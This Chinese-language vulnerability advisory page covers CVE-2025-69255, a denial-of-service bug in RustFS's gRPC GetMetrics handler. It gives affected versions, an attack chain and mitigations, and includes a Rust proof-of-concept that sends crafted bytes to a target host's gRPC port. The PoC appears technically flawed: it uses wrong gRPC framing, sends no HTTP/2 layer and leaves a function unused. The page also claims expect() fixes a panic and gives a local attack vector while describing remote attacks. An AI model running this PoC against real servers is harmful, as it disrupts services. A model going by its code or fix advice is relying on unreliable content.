IPBUF安全漏洞报告
English
CVE-2025-69255 CVSS 4.0 中危

CVE-2025-69255 RustFS gRPC GetMetrics请求反序列化拒绝服务漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-69255
漏洞类型
拒绝服务
CVSS评分
4.0 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RustFS

相关标签

拒绝服务RustFSgRPC反序列化unwrap panic分布式存储MEDIUMCVE-2025-69255

漏洞概述

RustFS是一个使用Rust语言开发的分布式对象存储系统。该漏洞存在于RustFS 1.0.0-alpha.13至1.0.0-alpha.77版本中,攻击者可以通过发送格式错误的gRPC GetMetrics请求来触发get_metrics函数中的unwrap()反序列化失败。当metric_type或opts字段反序列化失败时,会导致handler线程发生panic,从而实现对metrics端点的远程拒绝服务攻击。此漏洞无需任何认证即可利用,攻击复杂度低,影响系统的可用性。由于漏洞存在于gRPC接口,攻击者可能通过网络远程触发该漏洞,造成服务中断。

技术细节

漏洞根源在于RustFS的gRPC GetMetrics请求处理逻辑中,对metric_type和opts字段的反序列化使用了unwrap()方法而未进行错误处理。当收到格式错误的请求时,unwrap()会直接panic并导致当前handler线程崩溃。由于handler线程panic不会自动恢复,攻击者可以通过持续发送恶意请求来实现持续的拒绝服务。漏洞影响metrics端点,该端点通常用于系统监控和性能分析。攻击者无需认证即可向gRPC服务端口发送畸形请求,CVSS向量显示攻击复杂度低(AC:L),但攻击向量为本地(AV:L),表明需要本地访问或特定网络条件。修复方案已在1.0.0-alpha.78版本中发布,主要通过添加错误处理和使用expect()或match语句替代unwrap()来防止panic。

攻击链分析

STEP 1
步骤1
攻击者识别目标RustFS实例的gRPC服务端口(默认50051)
STEP 2
步骤2
构造格式错误的GetMetrics protobuf请求,metric_type或opts字段包含无效数据
STEP 3
步骤3
通过gRPC协议发送畸形请求到metrics端点
STEP 4
步骤4
RustFS的get_metrics处理函数对无效数据进行unwrap()反序列化
STEP 5
步骤5
unwrap()失败导致handler线程panic,服务崩溃
STEP 6
步骤6
攻击者持续发送恶意请求实现持续拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-69255 PoC - Malformed gRPC GetMetrics Request // Target: RustFS gRPC metrics endpoint // Effect: Denial of Service via unwrap() panic use tonic::Request; use prost::Message; // Malformed GetMetrics request that triggers panic fn create_malformed_request() -> Vec<u8> { // Craft a protobuf message with invalid metric_type/opts // This will cause unwrap() to fail during deserialization let malformed_data = vec![0x08, 0xFF, 0x12, 0x00]; // Invalid encoding malformed_data } // Alternative: Send partial/corrupted protobuf fn send_malformed_grpc_request(target: &str, port: u16) { use std::net::TcpStream; use std::io::{Write, Read}; // gRPC request framing for GetMetrics let mut request = Vec::new(); // gRPC headers request.extend_from_slice(&[0x00, 0x00, 0x00]); // Compression flag + message length placeholder request.push(0x0A); // Field 1: metric_type (varint, malformed) request.push(0xFF); // Invalid varint request.extend_from_slice(&[0x12, 0x00]); // Empty opts field // Update length let len = request.len() - 3; request[0] = (len >> 16) as u8; request[1] = (len >> 8) as u8; request[2] = len as u8; // Connect and send if let Ok(mut stream) = TcpStream::connect(format!("{}:{}", target, port)) { let _ = stream.write_all(&request); } } fn main() { let target = std::env::args().nth(1).unwrap_or("127.0.0.1".to_string()); let port: u16 = std::env::args().nth(2).and_then(|p| p.parse().ok()).unwrap_or(50051); println!("Sending malformed GetMetrics request to {}:{}", target, port); send_malformed_grpc_request(&target, port); println!("Request sent. Target should panic if vulnerable."); }

影响范围

RustFS 1.0.0-alpha.13
RustFS 1.0.0-alpha.14
RustFS 1.0.0-alpha.15
RustFS 1.0.0-alpha.16
RustFS 1.0.0-alpha.17
RustFS 1.0.0-alpha.18
RustFS 1.0.0-alpha.19
RustFS 1.0.0-alpha.20
RustFS 1.0.0-alpha.21
RustFS 1.0.0-alpha.22
RustFS 1.0.0-alpha.23
RustFS 1.0.0-alpha.24
RustFS 1.0.0-alpha.25
RustFS 1.0.0-alpha.26
RustFS 1.0.0-alpha.27
RustFS 1.0.0-alpha.28
RustFS 1.0.0-alpha.29
RustFS 1.0.0-alpha.30
RustFS 1.0.0-alpha.31
RustFS 1.0.0-alpha.32
RustFS 1.0.0-alpha.33
RustFS 1.0.0-alpha.34
RustFS 1.0.0-alpha.35
RustFS 1.0.0-alpha.36
RustFS 1.0.0-alpha.37
RustFS 1.0.0-alpha.38
RustFS 1.0.0-alpha.39
RustFS 1.0.0-alpha.40
RustFS 1.0.0-alpha.41
RustFS 1.0.0-alpha.42
RustFS 1.0.0-alpha.43
RustFS 1.0.0-alpha.44
RustFS 1.0.0-alpha.45
RustFS 1.0.0-alpha.46
RustFS 1.0.0-alpha.47
RustFS 1.0.0-alpha.48
RustFS 1.0.0-alpha.49
RustFS 1.0.0-alpha.50
RustFS 1.0.0-alpha.51
RustFS 1.0.0-alpha.52
RustFS 1.0.0-alpha.53
RustFS 1.0.0-alpha.54
RustFS 1.0.0-alpha.55
RustFS 1.0.0-alpha.56
RustFS 1.0.0-alpha.57
RustFS 1.0.0-alpha.58
RustFS 1.0.0-alpha.59
RustFS 1.0.0-alpha.60
RustFS 1.0.0-alpha.61
RustFS 1.0.0-alpha.62
RustFS 1.0.0-alpha.63
RustFS 1.0.0-alpha.64
RustFS 1.0.0-alpha.65
RustFS 1.0.0-alpha.66
RustFS 1.0.0-alpha.67
RustFS 1.0.0-alpha.68
RustFS 1.0.0-alpha.69
RustFS 1.0.0-alpha.70
RustFS 1.0.0-alpha.71
RustFS 1.0.0-alpha.72
RustFS 1.0.0-alpha.73
RustFS 1.0.0-alpha.74
RustFS 1.0.0-alpha.75
RustFS 1.0.0-alpha.76
RustFS 1.0.0-alpha.77

防御指南

临时缓解措施
在无法立即升级的情况下,可通过以下措施缓解:1) 限制gRPC端口的网络访问,只允许受信任的IP访问;2) 在负载均衡器或防火墙层添加请求过滤规则,拦截格式异常的protobuf消息;3) 部署多个RustFS实例实现高可用,当一个节点被攻击时自动切换到备用节点;4) 监控metrics端点的可用性和错误日志,及时发现异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表